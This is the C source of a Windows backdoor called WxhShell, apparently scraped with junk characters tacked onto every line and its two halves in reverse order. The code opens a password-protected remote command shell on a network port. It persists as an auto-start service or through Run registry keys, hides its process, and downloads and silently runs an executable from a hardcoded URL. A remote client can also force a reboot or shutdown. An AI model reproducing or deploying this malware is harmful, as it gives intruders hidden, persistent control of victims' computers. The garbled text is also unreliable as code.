    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); y[UTuFv~Q  
    if(Boot(SHUTDOWN)) npkE [JE:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,P3nZ  
    else { @SF*Kvb&  
    closesocket(wsh); 4yV}4f$q  
    ExitThread(0); : P>Wd3m  
    } QmT L-  
    break; OxqK} %=Bw  
    } V*@pmOhz  
  // 获取shell EJ`JN|,M  
  case 's': { YLVIn_\}  
    CmdShell(wsh); @/@#,+  
    closesocket(wsh); p~Fc *g[!  
    ExitThread(0); ;?"]S/16,  
    break; ,]gYy00w0s  
  } r?{tu82#i  
  // 退出 t7pe)i,)  
  case 'x': { qgbp-A!2zF  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <Td4 o&JR  
    CloseIt(wsh); Wf^6:  
    break; $vnshU8/v  
    } 3R1v0  
  // 离开 Cu3^de@h  
  case 'q': { EtjN :p|$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 56;lB$)"  
    closesocket(wsh); Cb~_{$A  
    WSACleanup();  /~yk  
    exit(1); v@_b"w_TY  
    break; p&/}0eL y  
        } Zg "g/I.+d  
  } R=yn4>I  
  } `rzgC \  
:@a8>i1&  
  // 提示信息 hg_@Ui@[z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?xu5/r<  
} d #9 \]Ul&  
  } 8@^=k.5IK  
)R.y>Ucb0  
  return; u=I\0H  
} N2[EdOJT_  
w#_/CU L  
// shell模块句柄 PTfTT_t  
int CmdShell(SOCKET sock) o(Yj[:+m  
{ T$RVz   
STARTUPINFO si; -$WU -7`  
ZeroMemory(&si,sizeof(si)); X-%XZD B6  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; pJ!:mt  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0Ah'G  
PROCESS_INFORMATION ProcessInfo; |dcRDOTe  
char cmdline[]="cmd"; &sleV5V  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,_?P[~1  
  return 0; \_;z m+ <{  
} &,/_"N"?D  
#!(OTe L  
// 自身启动模式 6}zargu(;  
int StartFromService(void) c193Or'6Y  
{  MO|aN,  
typedef struct [}Vne;V  
{ `./$hh  
  DWORD ExitStatus; XC"]/ y  
  DWORD PebBaseAddress; Goa0OC,  
  DWORD AffinityMask; D=uU:7m  
  DWORD BasePriority; EUZ#o\6  
  ULONG UniqueProcessId; {WfZE&B  
  ULONG InheritedFromUniqueProcessId; q ^NI  
}   PROCESS_BASIC_INFORMATION; N]f"+  
N=R|s$,Oy9  
PROCNTQSIP NtQueryInformationProcess; fgcI55&jV{  
<pJeiMo  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %2>ya>/M  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; jI:5[. Y  
C\#E1\d  
  HANDLE             hProcess; vDl6TKXcu  
  PROCESS_BASIC_INFORMATION pbi; `R]B<gp  
QS.t_5<U  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "l0z?u  
  if(NULL == hInst ) return 0; j_ i/h "  
faH113nc  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); fR[kjwX)<1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |t](4  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /sVy"48-  
1 XsB  
  if (!NtQueryInformationProcess) return 0; 1Z-f@PoM  
J<J_yRg2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !;EG<ji,gj  
  if(!hProcess) return 0; x aiA2  
gbF^m`A>%+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }@JPvI E  
y!JZWq%=  
  CloseHandle(hProcess); ^PHWUb+``  
>~C*m `#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )r X["=  
if(hProcess==NULL) return 0; \0. c_  
F#d`nZ=M  
HMODULE hMod; !U,W; R  
char procName[255]; l Q/u#c$n  
unsigned long cbNeeded; x`:zC#  
G1K72M}CW  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); B"sQ\gb%Q  
7\ELr 5  
  CloseHandle(hProcess); DPIIE2X  
i`#5dIb   
if(strstr(procName,"services")) return 1; // 以服务启动 ^0" W/  
M;s r1C  
  return 0; // 注册表启动 6XU1w  
} qRy<W  
T#&tf^;  
// 主模块 , H$1iJ?  
int StartWxhshell(LPSTR lpCmdLine) ~:8}Bz2!5  
{ s az<NT  
  SOCKET wsl; Tp7*T8  
BOOL val=TRUE; 3@xn<eu  
  int port=0; [wKnJu  
  struct sockaddr_in door; kC~\D?8E=  
zl~`>  
  if(wscfg.ws_autoins) Install(); 6R_G{AWLL  
dk}T&qZ~p  
port=atoi(lpCmdLine); 7Uy49cs,  
gr]:u4}  
if(port<=0) port=wscfg.ws_port; HHd;<%q  
!I3_KuJ5  
  WSADATA data; t\& u  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; T.m*LM  
'#JC 6#X   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   M A9Oi(L)K  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ey4RKk,  
  door.sin_family = AF_INET; %p?+r  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Qv~KGd9  
  door.sin_port = htons(port); Q#+y}pOLP  
_; 7{1n  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #9=as Y  
closesocket(wsl); Z.:g8Xl-6  
return 1; lN@SfM4\  
} !2]eVO  
df@r2 /Y  
  if(listen(wsl,2) == INVALID_SOCKET) { +OGa}9j-  
closesocket(wsl); rK^Sn7U  
return 1; ShFC@)<lJ  
} fyb:eO}  
  Wxhshell(wsl); h?UUd\RU)  
  WSACleanup(); T&@xgj|!)  
WKjE^u  
return 0; ji'NR  
/da5 "  
} ?f}lYQzM  
"DWw]\xO](  
// 以NT服务方式启动 ^o;f~6#17  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) uU+R,P0  
{ kH&KE5  
DWORD   status = 0; G:u-C<^'  
  DWORD   specificError = 0xfffffff; AHg:`Wjv-  
'!$g<= @  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 2QU ZBrs s  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ui _nvD:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; q#}#A@Rg  
  serviceStatus.dwWin32ExitCode     = 0; heLWVI[so  
  serviceStatus.dwServiceSpecificExitCode = 0; bLSZZfq  
  serviceStatus.dwCheckPoint       = 0; w4 R!aWLd  
  serviceStatus.dwWaitHint       = 0; CC8M1iW3  
Nd5G-eYI  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); rUg<(/c  
  if (hServiceStatusHandle==0) return; nDiy[Y-4Wp  
! };OL Q  
status = GetLastError(); OHEl.p]|  
  if (status!=NO_ERROR) pi/Jto25z  
{ 6p;G~,bd~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ar+ j`QIe  
    serviceStatus.dwCheckPoint       = 0; 8xAxn+;  
    serviceStatus.dwWaitHint       = 0; |:yWDZg[  
    serviceStatus.dwWin32ExitCode     = status; ;"d>lyL  
    serviceStatus.dwServiceSpecificExitCode = specificError; NI^=cN,l  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |@Cx%aEKU  
    return; zk#NM"C+  
  } ~ 9 F rlj  
2h_XfY'3pX  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; g>L4N.ZH_v  
  serviceStatus.dwCheckPoint       = 0; Z>9uVBE02  
  serviceStatus.dwWaitHint       = 0; QL_vWG -  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); xEULV4Qw  
} }8joltf  
C2l=7+X#W  
// 处理NT服务事件,比如:启动、停止 ]j=Eof%Rc  
VOID WINAPI NTServiceHandler(DWORD fdwControl) nTy8:k']  
{ nU^-D1s{  
switch(fdwControl) Jf#Ika&px  
{ 7EI5w37  
case SERVICE_CONTROL_STOP: blUnAu o~  
  serviceStatus.dwWin32ExitCode = 0; o8PK,!Pl  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; T/m4jf2  
  serviceStatus.dwCheckPoint   = 0; :TPT]q d@  
  serviceStatus.dwWaitHint     = 0; j@7%%   
  { FR bmeq3c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &oU) ,H  
  } B^;G3+}  
  return; "L?h@8sa  
case SERVICE_CONTROL_PAUSE: 8Uv2p{ <#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @ )bCh(u  
  break; D90.z"N\i9  
case SERVICE_CONTROL_CONTINUE: ~2HlAU))<&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  BVJ6U[h`  
  break; 5mtsN#  
case SERVICE_CONTROL_INTERROGATE: zCpsGr  
  break; &3@ {?K  
}; n8FmIoZ&`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L6>;"]:f`  
} "7G>  
u!]g^r  
// 标准应用程序主函数 E}YJGFB7"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) w<qn@f  
{ [Dzd39aKr  
j3W)  
// 获取操作系统版本 \sSt _|+  
OsIsNt=GetOsVer(); Qru iQ/t  
GetModuleFileName(NULL,ExeFile,MAX_PATH); GBh$nVn$  
nfj8z@!  
  // 从命令行安装 ls;!Og9  
  if(strpbrk(lpCmdLine,"iI")) Install(); 5 ]c\{G  
B IW?/^  
  // 下载执行文件 y TbOBl  
if(wscfg.ws_downexe) { KxA ^?,t[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5 R*  
  WinExec(wscfg.ws_filenam,SW_HIDE); >'/KOK"  
} o(gEyK  
\ #yKCA';  
if(!OsIsNt) { s%6{X48vY^  
// 如果时win9x,隐藏进程并且设置为注册表启动 L  `\>_  
HideProc(); (=jztIZ C  
StartWxhshell(lpCmdLine); \me'B {aa  
} (yr<B_Y'MY  
else O ,9,= 2j  
  if(StartFromService()) )R+26wZ|n*  
  // 以服务方式启动 tCF,KP?  
  StartServiceCtrlDispatcher(DispatchTable); aSGZF w  
else N I*x):bx  
  // 普通方式启动 ],W/IDv  
  StartWxhshell(lpCmdLine); B$\,l.h E  
6r]l8*3 4;  
return 0; o/J2BZ<_<  
} K6z)&<  
h1_9Xp~N  
D#.N)@\  
|/YwMBi  
=========================================== "p"M9P'  
!gyEw1Re7  
?=},%^  
~MpcVI_K  
?=FRn pU?  
r@30y/C  
" aAi "  
U+4W9zhwo  
#include <stdio.h> M^6!{c=MIi  
#include <string.h> C/JFb zVx  
#include <windows.h> pm4'2B|)g  
#include <winsock2.h> F7"v}K]X  
#include <winsvc.h> 9kO}054  
#include <urlmon.h> vl"{ovoC  
9w:F_gr  
#pragma comment (lib, "Ws2_32.lib") ]lgI Q;r  
#pragma comment (lib, "urlmon.lib") W3gBLotdg  
Vlf=gP  
#define MAX_USER   100 // 最大客户端连接数 us,~<e0  
#define BUF_SOCK   200 // sock buffer |eu:qn8  
#define KEY_BUFF   255 // 输入 buffer E*W|>2nx]  
JYesk  
#define REBOOT     0   // 重启 (Qp53g  
#define SHUTDOWN   1   // 关机 (c\i.z  
PF+SHT'4}#  
#define DEF_PORT   5000 // 监听端口 [ U`})  
TIIwq H+h.  
#define REG_LEN     16   // 注册表键长度 A`I;m0<  
#define SVC_LEN     80   // NT服务名长度 3 {OZdl|  
!iHJ!  
// 从dll定义API Z37%jdr  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); B*-A erdH  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); aSEzh7 8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2@jlF!zC  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); M&h`uO/[  
DxvD 1u   
// wxhshell配置信息 <uf,@N5m  
struct WSCFG { hLo>jE  
  int ws_port;         // 监听端口 AnW72|=A(  
  char ws_passstr[REG_LEN]; // 口令 @&F\M}  
  int ws_autoins;       // 安装标记, 1=yes 0=no T!ik"YZ@i  
  char ws_regname[REG_LEN]; // 注册表键名 'VQ mK#  
  char ws_svcname[REG_LEN]; // 服务名 0{k*SCN#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4f-I,)qCBk  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 C%ZSsp u  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |EpL~ G_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no V.?Oly  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" m`lxQik  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :dML+R#Ymh  
LEgx"H=c  
}; na0-v-  
pN-c9n4#j  
// default Wxhshell configuration  x#hGJT  
struct WSCFG wscfg={DEF_PORT, dFw>SYrpu  
    "xuhuanlingzhe", q)F@f /  
    1, xU(yc}vw,  
    "Wxhshell", %AV[vr,  
    "Wxhshell", ;#+Se,)  
            "WxhShell Service", {[tx^b  
    "Wrsky Windows CmdShell Service", >VE!3'/'  
    "Please Input Your Password: ", \*r]v;NcP  
  1, "l7))>lL  
  "http://www.wrsky.com/wxhshell.exe", ^1jZwP;5eW  
  "Wxhshell.exe" [+_0y[~,tB  
    }; 8EC$p} S  
S>N/K  
// 消息定义模块 &"/IV$H  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0'nY  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Ed ,O>(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; z'r B_l  
char *msg_ws_ext="\n\rExit."; +H `FC  
char *msg_ws_end="\n\rQuit."; E==vk~cz  
char *msg_ws_boot="\n\rReboot...";  +}-Ecr  
char *msg_ws_poff="\n\rShutdown..."; ,2/y(JX}*!  
char *msg_ws_down="\n\rSave to "; %7n(>em  
slRD /  
char *msg_ws_err="\n\rErr!"; #$*l#j"#A  
char *msg_ws_ok="\n\rOK!"; j%TcW!D-_  
QBwgI>zfS"  
char ExeFile[MAX_PATH]; j{: >"6  
int nUser = 0; _N2tf/C&=  
HANDLE handles[MAX_USER]; -A3>+G3[  
int OsIsNt; Y?b4* me  
@`S8d%6P  
SERVICE_STATUS       serviceStatus; snccDuS  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; dZi ?Z  
!tckE\ h#N  
// 函数声明 1XD|H_JG<j  
int Install(void); TxDzGC  
int Uninstall(void); g0M9v]c  
int DownloadFile(char *sURL, SOCKET wsh); QmRE<i  
int Boot(int flag); XL2iK)A  
void HideProc(void); #->#mshd4  
int GetOsVer(void); qFwJ%(IQ  
int Wxhshell(SOCKET wsl); ~L3]Wa.  
void TalkWithClient(void *cs); 7O^'?L<C'  
int CmdShell(SOCKET sock); )gb gsQZ  
int StartFromService(void); N8K @ch3=P  
int StartWxhshell(LPSTR lpCmdLine); P{{U  
 %J?"ZSh  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Q ,6[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); O9Fg_qfuT_  
-'wFaW0%I  
// 数据结构和表定义 (;1Pgh  
SERVICE_TABLE_ENTRY DispatchTable[] =  $% 5f  
{ iTpU4Qsj  
{wscfg.ws_svcname, NTServiceMain}, <&Q(I+^  
{NULL, NULL} Ljq!\D  
}; dLnu\bSF  
,f2tG+P  
// 自我安装 [7|j:!  
int Install(void) tMnwY'  
{ Rd|xw%R\mb  
  char svExeFile[MAX_PATH]; fD:>cje  
  HKEY key; Eg;xj@S<2  
  strcpy(svExeFile,ExeFile); n>["h2  
=3= $F%  
// 如果是win9x系统,修改注册表设为自启动 @ApX43U(  
if(!OsIsNt) { ),#hBB`ZA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @2eV^eO9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {;[W'Lc  
  RegCloseKey(key); yccF#zU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \Tii S  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4Bc<  
  RegCloseKey(key); %J%ZoptY:  
  return 0; o7B }~;L  
    } @*{sj`AS '  
  } F>!gwmn~  
} <6L=% \X{*  
else { ;;cPt44s  
qZ79IX'y  
// 如果是NT以上系统,安装为系统服务 F')fi0=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); sM0o,l(5  
if (schSCManager!=0) oPVyLD  
{ D3i`ehh  
  SC_HANDLE schService = CreateService 5lp};  
  ( Z/hk)GI  
  schSCManager, R]8^ @i1  
  wscfg.ws_svcname, $k= 5nJ  
  wscfg.ws_svcdisp, x-3!sf@  
  SERVICE_ALL_ACCESS, I X]K "hT  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +CF"Bm8@  
  SERVICE_AUTO_START, sH}q&=  
  SERVICE_ERROR_NORMAL, :lGH31GG  
  svExeFile, 2-#:Y  
  NULL, <Z6tRf;B  
  NULL, 4X^{aIlshk  
  NULL, +&:?*(?Q  
  NULL, v!b 8_0~u6  
  NULL :(o6^%x  
  ); vs|_l!n3  
  if (schService!=0) Q[U_ 0O,A9  
  { |loo ^!I  
  CloseServiceHandle(schService); x22:@Ot6  
  CloseServiceHandle(schSCManager); AT6:&5_`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Jfkdiyy"  
  strcat(svExeFile,wscfg.ws_svcname); @uaf&my,P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { O alBr?^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 83ajok4E  
  RegCloseKey(key); QoVRZ$!p  
  return 0; FYtf<C+  
    } ED kxRfY2/  
  }  iNxuQ7~  
  CloseServiceHandle(schSCManager); 6QC=:_M;  
} 7KzMa%=  
} `AO<r  
/j0zb&  
return 1; /V% ]lmxQ  
} |0jmOcZF  
!^ /Mn  
// 自我卸载 ZX Sl+k .  
int Uninstall(void) p>c`GDU  
{ cx(W{O"Jb  
  HKEY key; nfV32D|3  
'\iWp?`$  
if(!OsIsNt) { 53w@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;N FTdP  
  RegDeleteValue(key,wscfg.ws_regname); k;?Oi?]  
  RegCloseKey(key); \f AL:mJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z_F}Y2-w9  
  RegDeleteValue(key,wscfg.ws_regname); ~SW_jiKM  
  RegCloseKey(key); }}VB#   
  return 0; -#nfO*H}  
  } %%w/;o!c  
} jW G=k#WN  
} / W,K% s]  
else { i(k]}Di:  
R1%2]?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); j$K[QSn  
if (schSCManager!=0) -q-/0d<l  
{ 27NhYDo  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5*d  
  if (schService!=0) X@[)jWs  
  { { fmY_T[Q8  
  if(DeleteService(schService)!=0) { $m:4'r  
  CloseServiceHandle(schService); D<m+M@u  
  CloseServiceHandle(schSCManager); D=Pv:)*]  
  return 0; a V4p0s6ZZ  
  } u*<G20~A  
  CloseServiceHandle(schService); L,XWX8  
  } jb~/>I^1  
  CloseServiceHandle(schSCManager); H$/r{gfg^  
} h]#wwJF  
} 7fOk]Yl[  
[uh$\s7  
return 1; | Ts0h?"a  
} =7Wr  
< Y(lRM{  
// 从指定url下载文件 V|h/a\P  
int DownloadFile(char *sURL, SOCKET wsh) t1I` n(]n  
{ +6xEz67A<  
  HRESULT hr; dUTF0U  
char seps[]= "/"; 73C  
char *token; AV0C9a/td  
char *file; 1f"LAs`%  
char myURL[MAX_PATH]; ZXf^HK  
char myFILE[MAX_PATH]; w;;.bz m  
-cjwa-9 ~  
strcpy(myURL,sURL); Ikkv <uY  
  token=strtok(myURL,seps); Y68T&swD  
  while(token!=NULL) =DhzV D  
  { !U@?Va~Zn  
    file=token; "o*zZ;>^  
  token=strtok(NULL,seps); 0wzq{~\{=_  
  } S'I{'jP5  
+N9(o+UrU  
GetCurrentDirectory(MAX_PATH,myFILE); ,AC+s"VS  
strcat(myFILE, "\\"); 9*@Kl`\  
strcat(myFILE, file); -'tgr6=|w"  
  send(wsh,myFILE,strlen(myFILE),0); bIP'(B#1K  
send(wsh,"...",3,0); ' Vp6=,P  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); l"\W]'T:r  
  if(hr==S_OK) 0ang^v;q  
return 0; _%)v9}D  
else %#.H FK  
return 1; 4DL;/Z:  
T4\F=iw4  
} ^XV=(k;~bX  
1|L3} 2  
// 系统电源模块 9M)N2+hkZ  
int Boot(int flag) Fn8d;%C  
{ );^] is~  
  HANDLE hToken; GHMoT  
  TOKEN_PRIVILEGES tkp; WH.5vrY Z  
M~/%V NX  
  if(OsIsNt) { 0Wf,SYx`s  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); EH'?wh|Yp  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "e4hPY#  
    tkp.PrivilegeCount = 1; %}U-g"I  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; x}.Q9L  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); s^nwF>  
if(flag==REBOOT) { MSm vQ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) J^@0Ff;=5^  
  return 0; EV:y}  
} ("t; 2Mw  
else { c1IK9X*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) u3 mTsq!  
  return 0; o9!DK  
} UQwLAXs  
  } acWm+  
  else { Vo%MG.IPB  
if(flag==REBOOT) { y[*Bw)F\N  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) zS*X9|p  
  return 0; Z#wmEc.}C  
} ^/Id!Y7  
else { 5Pis0fa  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]_S&8F}|  
  return 0; =o5ZcC  
} -Bqn^ E  
} ~;Ga65_6_  
aDx{Q&  
return 1; H)$-T1Wx4  
} Rx$5#K!%M  
Ix,`lFbH  
// win9x进程隐藏模块 N#')Qz:P  
void HideProc(void) Go}C{(4T  
{ I$4GM  
_LV;q! /j  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); C:n55BE9  
  if ( hKernel != NULL ) Q(-:)3g[aL  
  { ^ ~HV`s  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); m8F-#?~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); eUYd0L!  
    FreeLibrary(hKernel); #\G{2\R  
  } zof>S>5>R7  
A f@IsCOJ  
return; 1"r6qYN!>  
} ) MFa~/x  
~n#rATbxf  
// 获取操作系统版本 W@w#A]  
int GetOsVer(void) o$4n D#P3  
{ L Ty [)  
  OSVERSIONINFO winfo; bz[+g,e2oA  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +Io[o6*  
  GetVersionEx(&winfo); NTk"W!<Cl2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )o'&f"/  
  return 1; dZ&/Iz  
  else odPq<'V|AY  
  return 0; [-cYFdt"V  
} +*3\ C!  
BzL>,um  
// 客户端句柄模块 vcsi @!   
int Wxhshell(SOCKET wsl) 00'R1q4  
{ C+-xC~  
  SOCKET wsh; 8$3G c"=  
  struct sockaddr_in client; m'$]lf;*  
  DWORD myID; *<2+tI  
vLW&/YJ6  
  while(nUser<MAX_USER) Zqke8q  
{ :qi"I;=6  
  int nSize=sizeof(client); D +/27#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); qZlb?b"  
  if(wsh==INVALID_SOCKET) return 1; l6.z-Qw  
NAjK0]SRY  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); T~UKWAKX}  
if(handles[nUser]==0) RYD V60*O6  
  closesocket(wsh); \?-`?QPux  
else PNLtpixZ  
  nUser++; ~/J:p5?L  
  } Mg]q^T.a  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); n83,MV?-  
r5z_{g  
  return 0; *P&ZE   
} @cNX\$J  
]R/VE"-  
// 关闭 socket 6X5`npf  
void CloseIt(SOCKET wsh) Hd6g0  
{ [ "}0umt  
closesocket(wsh); 2E^zQ>;01  
nUser--; 3k;*xjv6@  
ExitThread(0); m]J Z@  
} t%<nS=u  
D^To:N 7U  
// 客户端请求句柄 4f<%<Z  
void TalkWithClient(void *cs) \3(d$_:b  
{ {w.rcObIw+  
iCCY222:  
  SOCKET wsh=(SOCKET)cs; +5Yc/Qp  
  char pwd[SVC_LEN]; 2~+_T  
  char cmd[KEY_BUFF]; PZ~uHX_d>  
char chr[1]; *Z=K9y,IC  
int i,j; 4flyV -  
+Gi~VW.  
  while (nUser < MAX_USER) { *4Cq,o`o>  
x|G# oG)_  
if(wscfg.ws_passstr) { |l(rR06#.]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s8 .OL_e  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A {lzQO  
  //ZeroMemory(pwd,KEY_BUFF); 7nB@U$]-Sz  
      i=0; nmp(%;<exN  
  while(i<SVC_LEN) { 6|3$43J,F  
KK`P<^8J  
  // 设置超时 Er?Wg09  
  fd_set FdRead; k2l(!0o|;  
  struct timeval TimeOut; CZv.$H"lW  
  FD_ZERO(&FdRead); hHF YAh   
  FD_SET(wsh,&FdRead); g?!vR id@S  
  TimeOut.tv_sec=8; 4lH$BIAW  
  TimeOut.tv_usec=0; #Yi,EwD  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); uBw1Xud[YI  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); YbF}(iM  
~sk;6e)(2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GQoaBO.  
  pwd=chr[0];  B\1F  
  if(chr[0]==0xd || chr[0]==0xa) { _H(m4~ M  
  pwd=0; orCD?vlh  
  break; l@nkR&4[  
  } ncf=S(G+  
  i++; e&?o  
    } P9v N5|"M  
N7k<q=r-  
  // 如果是非法用户,关闭 socket *xXa4HB  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); mV0F ^5  
} q05_5  
^Afq)26D  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |&WeXVH E  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _|rrl  
]kx)/n-K  
while(1) { jftoqK- p  
\k_0wt2x1  
  ZeroMemory(cmd,KEY_BUFF); 4UmTA_& Io  
5F cKY_  
      // 自动支持客户端 telnet标准   rVq=,>M9  
  j=0; aPaGnP:^  
  while(j<KEY_BUFF) { 4A.ZMH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C,+6g/{  
  cmd[j]=chr[0]; nJ |O,*`O  
  if(chr[0]==0xa || chr[0]==0xd) { 8P.UB{QNe  
  cmd[j]=0; X6%w6%su5  
  break; v;AMx-_WH  
  } ]W3D4Swq  
  j++; kxp$Nnk  
    } 'CsD[<  
Q3,`'[ F  
  // 下载文件 _@jBz"aq\  
  if(strstr(cmd,"http://")) { _In[Z?P}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6?Ul)'  
  if(DownloadFile(cmd,wsh)) C#[YDcp4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); o1='Fr  
  else l;zpf|.Vc  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lg1yj}br  
  } _;",7bT80  
  else { G^]T  
